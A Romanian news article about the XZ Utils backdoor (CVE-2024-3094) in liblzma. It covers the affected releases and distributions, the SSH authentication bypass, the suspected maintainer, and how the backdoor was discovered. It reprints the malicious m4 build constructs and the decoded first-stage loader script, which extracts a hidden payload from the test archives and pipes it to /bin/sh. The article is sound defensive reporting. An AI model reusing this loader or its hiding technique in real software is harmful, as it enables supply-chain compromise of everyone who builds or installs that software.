În pachetul XZ Utils, care include biblioteca liblzma și utilitarele pentru lucrul cu date comprimate în formatul „.xz”, a fost descoperit un backdoor (CVE-2024-3094) care permite interceptarea și modificarea datelor procesate de aplicațiile legate de biblioteca liblzma. Obiectivul principal al backdoor-ului este serverul OpenSSH, care în unele distribuții este legat de biblioteca libsystemd, care, la rândul său, folosește liblzma. Legarea sshd de biblioteca vulnerabilă permite atacatorilor să acceseze serverul SSH fără autentificare.
Backdoor-ul a fost prezent în versiunile oficiale 5.6.0 și 5.6.1, publicate pe 24 februarie și 9 martie, care au reușit să ajungă în unele distribuții și repo-uri, cum ar fi Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide și 40-beta, openSUSE factory și tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. Toți utilizatorii versiunilor xz 5.6.0 și 5.6.1 sunt sfătuiți să revină urgent la versiunea 5.4.6.
Printre factorii care atenuează problema se numără faptul că versiunea liblzma cu backdoor-ul nu a intrat în compunerile stabilite ale principalelor distribuții, dar a afectat openSUSE Tumbleweed și Fedora 40-beta. Arch Linux și Gentoo au folosit versiunea vulnerabilă zx, dar nu sunt expuși atacului, deoarece nu aplică unui patch pentru openssh pentru suportul systemd-notify, ceea ce ar conduce la legarea sshd la liblzma. Backdoor-ul afectează doar sistemele x86_64 bazate pe kernelul Linux și biblioteca C Glibc.
Codul de activare a backdoor-ului a fost ascuns în macro-urile m4 din fișierul build-to-host.m4, folosit de instrumentul automake la compilare. În timpul compilării, în urma realizării unor operațiuni obscurantiste complicate bazate pe arhive (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), aplicate pentru testarea corectitudinii funcționării, se forma un fișier obiect cu cod malițios, care era inclus în biblioteca liblzma și modifica logica de funcționare a unor funcții ale acesteia. Macro-urile m4 care activau backdoor-ul erau incluse în arhivele tar ale lansărilor, dar lipseau din repo-ul Git. În același timp, arhivele de testare malițioase erau prezente în repo, adică cel care a injectat backdoor-ul avea acces atât la repo, cât și la procesele de formare a lansărilor.
Atunci când se utilizează liblzma în aplicații, modificările malicioase ar putea fi folosite pentru a intercepta sau modifica datele, precum și pentru a influența funcționarea sshd. În special, codul malicious înlocuia funcția RSA_public_decrypt pentru a ocoli procesul de autentificare în sshd. Backdoor-ul includea măsuri de protecție împotriva detectării și nu se manifesta când variabilele de mediu LANG și TERM erau setate (adică atunci când procesul era rulat în terminal), și nu erau setate variabilele de mediu LD_DEBUG și LD_PROFILE, fiind activat doar la executarea fișierului /usr/sbin/sshd. Backdoor-ul conținea, de asemenea, instrumente pentru a detecta rularea în medii de depanare.
În special, în fișierul m4/build-to-host.m4 au fost utilizate construcții gl_am_configmake=`grep -aErls «#{4}[[:alnum:]]{5}#{4}$» $srcdir/ 2>/dev/null` … gl_[$1]_config='sed "r\n" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
În prima construcție, operația grep găsea fișierul tests/files/bad-3-corrupt_lzma2.xz, la dezarhivarea căruia se forma următorul script: ####Hello#### #345U211267$^D330^W [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../..../config.status;then eval `grep ^srcdir= ../..../config.status` srcdir=«../..//$srcdir» fi export i=«((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048)»;(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr «\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113» «\0-\377»)|xz -F raw --lzma1 -dc|/bin/sh ####World####
Modul în care atacatorii au reușit să obțină acces la infrastructura proiectului xz nu a fost încă clarificat. De asemenea, nu este clar câți utilizatori și proiecte au fost compromise în urma acțiunii backdoor-ului. Autorul presupus al backdoor-ului (JiaT75 — Jia Tan), care a încărcat în repository arhive cu cod malițios, a corespondit cu dezvoltatorii Fedora și a trimis cereri de pull în Debian, legate de tranziția distribuțiilor la ramura xz 5.6.0, și nu a stârnit suspiciuni, deoarece a contribuit la dezvoltarea xz în ultimii doi ani și este al doilea dezvoltator ca număr de modificări aduse. Pe lângă proiectul xz, autorul presupus al backdoor-ului a participat și la dezvoltarea pachetelor xz-java și xz-embedded. Mai mult, Jia Tan a fost inclus acum câteva zile în rândul mentenelor proiectului XZ Embedded, folosit în kernelul Linux.
Modificarea malițioasă a fost identificată după analiza consumului excesiv de CPU și a erorilor generate de valgrind, atunci când s-a conectat prin ssh la sistemele bazate pe Debian sid. Remarcabil este faptul că în release-ul xz 5.6.1 au fost incluse modificările pregătite de autorul presupus al backdoor-ului ca răspuns la plângerile privind încetinirea funcționării și erorile sshd, apărute după actualizarea la versiunea zx 5.6.0 cu backdoor. În plus, anul trecut, Jia Tan a făcut modificări incompatibile cu modul de verificare „-fsanitize=address”, ceea ce a dus la dezactivarea acestuia în timpul testării fuzzing.
Sursa: opennet.ro
